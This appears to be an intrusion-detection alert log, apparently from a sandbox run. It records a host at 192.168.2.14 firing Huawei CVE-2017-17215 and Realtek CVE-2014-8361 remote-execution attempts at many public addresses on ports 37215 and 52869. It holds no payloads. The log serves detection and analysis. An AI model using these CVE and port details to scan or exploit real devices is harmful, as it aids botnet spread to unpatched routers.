ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 223.252.141.56

Timestamp:	07/20/24-23:01:33.071289
SID:	2829579
Source Port:	43700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 23.217.181.6

Timestamp:	07/20/24-23:01:34.939612
SID:	2831300
Source Port:	36624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.121.232.89

Timestamp:	07/20/24-23:01:19.221490
SID:	2829579
Source Port:	50800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.108.228

Timestamp:	07/20/24-23:01:14.397565
SID:	2829579
Source Port:	41738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 209.88.50.174

Timestamp:	07/20/24-23:01:05.997211
SID:	2025132
Source Port:	49556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 157.113.216.32

Timestamp:	07/20/24-23:01:29.198098
SID:	2831300
Source Port:	57768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.199.221.47

Timestamp:	07/20/24-23:01:02.440637
SID:	2835222
Source Port:	44376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.175.38.165

Timestamp:	07/20/24-23:01:25.280228
SID:	2829579
Source Port:	60350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 94.133.203.252

Timestamp:	07/20/24-23:01:29.182229
SID:	2027339
Source Port:	39560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.77.27

Timestamp:	07/20/24-23:01:33.046879
SID:	2829579
Source Port:	34250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.3.243.86

Timestamp:	07/20/24-23:01:22.794319
SID:	2829579
Source Port:	48486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.14.212.157

Timestamp:	07/20/24-23:01:25.283485
SID:	2829579
Source Port:	34182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 163.241.201.162

Timestamp:	07/20/24-23:01:33.579925
SID:	2025132
Source Port:	50892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 134.76.14.241

Timestamp:	07/20/24-23:01:05.619970
SID:	2027339
Source Port:	47368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.31.152

Timestamp:	07/20/24-23:01:19.222257
SID:	2829579
Source Port:	37720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.79.26

Timestamp:	07/20/24-23:01:33.036114
SID:	2829579
Source Port:	40424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 131.234.185.229

Timestamp:	07/20/24-23:01:34.949877
SID:	2027339
Source Port:	60486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.62.151.34

Timestamp:	07/20/24-23:01:25.282553
SID:	2835222
Source Port:	43978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.175.37.183

Timestamp:	07/20/24-23:01:07.662924
SID:	2829579
Source Port:	35436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.231.11

Timestamp:	07/20/24-23:01:07.683360
SID:	2829579
Source Port:	36400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 44.203.11.143

Timestamp:	07/20/24-23:01:34.090702
SID:	2025132
Source Port:	48438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.36.106.160

Timestamp:	07/20/24-23:01:19.233961
SID:	2835222
Source Port:	48132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.118.16.49

Timestamp:	07/20/24-23:01:19.335313
SID:	2835222
Source Port:	48220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 136.198.187.249

Timestamp:	07/20/24-23:01:25.291636
SID:	2835222
Source Port:	50402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 125.128.116.127

Timestamp:	07/20/24-23:01:25.507121
SID:	2831300
Source Port:	43544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 31.171.131.217

Timestamp:	07/20/24-23:01:34.907114
SID:	2027339
Source Port:	42736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.225.101

Timestamp:	07/20/24-23:01:37.128294
SID:	2829579
Source Port:	58404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.170.112

Timestamp:	07/20/24-23:01:37.158916
SID:	2835222
Source Port:	52026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.75.252.43

Timestamp:	07/20/24-23:01:02.412914
SID:	2835222
Source Port:	35314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 108.207.129.253

Timestamp:	07/20/24-23:01:13.333101
SID:	2831300
Source Port:	52224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 133.182.11.249

Timestamp:	07/20/24-23:01:33.888160
SID:	2027339
Source Port:	58592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 110.190.170.59

Timestamp:	07/20/24-23:01:07.438956
SID:	2025132
Source Port:	43902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.178.15.41

Timestamp:	07/20/24-23:01:14.487012
SID:	2829579
Source Port:	54024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 116.117.218.123

Timestamp:	07/20/24-23:01:32.104403
SID:	2025132
Source Port:	51088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.210.76

Timestamp:	07/20/24-23:01:14.440518
SID:	2829579
Source Port:	49444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.236.37.80

Timestamp:	07/20/24-23:01:33.068258
SID:	2835222
Source Port:	40242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 36.198.164.211

Timestamp:	07/20/24-23:01:13.336216
SID:	2831300
Source Port:	47404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.204.153

Timestamp:	07/20/24-23:01:19.222596
SID:	2829579
Source Port:	40550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 202.104.226.178

Timestamp:	07/20/24-23:01:07.483062
SID:	2027339
Source Port:	40752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 192.67.13.54

Timestamp:	07/20/24-23:01:33.620818
SID:	2027339
Source Port:	48502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.130.100.14

Timestamp:	07/20/24-23:01:11.452806
SID:	2835222
Source Port:	34856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.74.123.142

Timestamp:	07/20/24-23:01:19.227537
SID:	2835222
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 14.68.225.116

Timestamp:	07/20/24-23:01:13.333076
SID:	2027339
Source Port:	34692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.233.57.38

Timestamp:	07/20/24-23:01:19.221490
SID:	2829579
Source Port:	56596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 149.3.41.152

Timestamp:	07/20/24-23:01:06.876426
SID:	2027339
Source Port:	58326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.48.172.9

Timestamp:	07/20/24-23:01:28.146123
SID:	2829579
Source Port:	53528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 210.203.32.204

Timestamp:	07/20/24-23:01:33.069192
SID:	2829579
Source Port:	48726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.123.27.175

Timestamp:	07/20/24-23:01:37.122448
SID:	2835222
Source Port:	45434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.44.7.216

Timestamp:	07/20/24-23:01:14.406708
SID:	2829579
Source Port:	32880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.137.176.68

Timestamp:	07/20/24-23:01:39.711137
SID:	2829579
Source Port:	60568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.73.86.148

Timestamp:	07/20/24-23:01:11.456952
SID:	2829579
Source Port:	59936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 87.63.121.255

Timestamp:	07/20/24-23:01:22.779210
SID:	2835222
Source Port:	46706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 194.147.115.196

Timestamp:	07/20/24-23:01:05.864441
SID:	2027339
Source Port:	54232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.63.204.221

Timestamp:	07/20/24-23:01:05.898353
SID:	2835222
Source Port:	58892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.120.76

Timestamp:	07/20/24-23:01:37.214680
SID:	2829579
Source Port:	39654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.214.11.181

Timestamp:	07/20/24-23:01:22.784106
SID:	2835222
Source Port:	58784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.127.34.6

Timestamp:	07/20/24-23:01:02.411076
SID:	2829579
Source Port:	49858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.112.235.220

Timestamp:	07/20/24-23:01:14.400300
SID:	2835222
Source Port:	52616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 137.171.174.123

Timestamp:	07/20/24-23:01:23.020514
SID:	2027339
Source Port:	46072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.126.92.122

Timestamp:	07/20/24-23:01:37.199306
SID:	2835222
Source Port:	52026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 97.182.119.204

Timestamp:	07/20/24-23:01:13.333328
SID:	2027339
Source Port:	60930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 167.31.141.74

Timestamp:	07/20/24-23:01:29.170361
SID:	2831300
Source Port:	52180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 18.78.130.138

Timestamp:	07/20/24-23:01:11.461274
SID:	2835222
Source Port:	34598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.177.182.89

Timestamp:	07/20/24-23:01:05.896134
SID:	2835222
Source Port:	43030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 116.117.218.123

Timestamp:	07/20/24-23:01:34.913412
SID:	2027339
Source Port:	52694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 53.158.5.131

Timestamp:	07/20/24-23:01:37.124220
SID:	2835222
Source Port:	41508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 13.188.216.17

Timestamp:	07/20/24-23:01:05.636428
SID:	2025132
Source Port:	46748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.113.213.117

Timestamp:	07/20/24-23:01:25.288605
SID:	2829579
Source Port:	54302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 65.188.53.189

Timestamp:	07/20/24-23:01:13.329927
SID:	2831300
Source Port:	54402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.85.25.154

Timestamp:	07/20/24-23:01:05.898116
SID:	2829579
Source Port:	58062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.235.129.31

Timestamp:	07/20/24-23:01:25.230281
SID:	2829579
Source Port:	49918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.240.183.0

Timestamp:	07/20/24-23:01:05.896134
SID:	2829579
Source Port:	49348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 87.188.195.240

Timestamp:	07/20/24-23:01:34.972618
SID:	2831300
Source Port:	54832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.29.142.28

Timestamp:	07/20/24-23:01:37.208725
SID:	2835222
Source Port:	51508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.76.24.65

Timestamp:	07/20/24-23:01:25.284909
SID:	2829579
Source Port:	56566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.181.208.214

Timestamp:	07/20/24-23:01:02.415804
SID:	2829579
Source Port:	52592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.163.100.190

Timestamp:	07/20/24-23:01:02.412914
SID:	2835222
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.188.141.9

Timestamp:	07/20/24-23:01:05.900314
SID:	2835222
Source Port:	39950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 197.75.140.61

Timestamp:	07/20/24-23:01:34.929652
SID:	2831300
Source Port:	51830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.213.70

Timestamp:	07/20/24-23:01:07.666600
SID:	2829579
Source Port:	50262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.147.250

Timestamp:	07/20/24-23:01:37.121609
SID:	2835222
Source Port:	50782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 176.88.4.158

Timestamp:	07/20/24-23:01:37.160288
SID:	2835222
Source Port:	35018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.17.174

Timestamp:	07/20/24-23:01:02.411662
SID:	2835222
Source Port:	43890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 81.201.211.116

Timestamp:	07/20/24-23:01:34.932468
SID:	2831300
Source Port:	44548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 99.202.52.30

Timestamp:	07/20/24-23:01:05.849562
SID:	2027339
Source Port:	57974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.229.213.173

Timestamp:	07/20/24-23:01:11.477507
SID:	2829579
Source Port:	43184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 68.224.117.209

Timestamp:	07/20/24-23:01:28.208110
SID:	2829579
Source Port:	49060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 206.110.55.66

Timestamp:	07/20/24-23:01:34.919559
SID:	2027339
Source Port:	48118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 75.210.8.237

Timestamp:	07/20/24-23:01:33.030189
SID:	2835222
Source Port:	53760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 171.71.112.103

Timestamp:	07/20/24-23:01:24.093369
SID:	2831300
Source Port:	44556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.219.238.228

Timestamp:	07/20/24-23:01:37.120446
SID:	2835222
Source Port:	42260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.89.201.91

Timestamp:	07/20/24-23:01:05.900314
SID:	2829579
Source Port:	41900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.225.1.100

Timestamp:	07/20/24-23:01:14.407392
SID:	2835222
Source Port:	60814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 163.241.201.162

Timestamp:	07/20/24-23:01:34.920163
SID:	2831300
Source Port:	52734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 112.236.210.206

Timestamp:	07/20/24-23:01:05.608194
SID:	2025132
Source Port:	41312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.243.41

Timestamp:	07/20/24-23:01:22.786757
SID:	2835222
Source Port:	33700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.115.103.221

Timestamp:	07/20/24-23:01:11.454189
SID:	2835222
Source Port:	45818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 105.210.78.187

Timestamp:	07/20/24-23:01:25.291636
SID:	2829579
Source Port:	48330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.135.123.11

Timestamp:	07/20/24-23:01:05.896134
SID:	2829579
Source Port:	54762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.60.103.183

Timestamp:	07/20/24-23:01:07.682290
SID:	2829579
Source Port:	56258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 187.235.69.197

Timestamp:	07/20/24-23:01:06.187826
SID:	2027339
Source Port:	60916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.23.250

Timestamp:	07/20/24-23:01:37.163818
SID:	2829579
Source Port:	60274
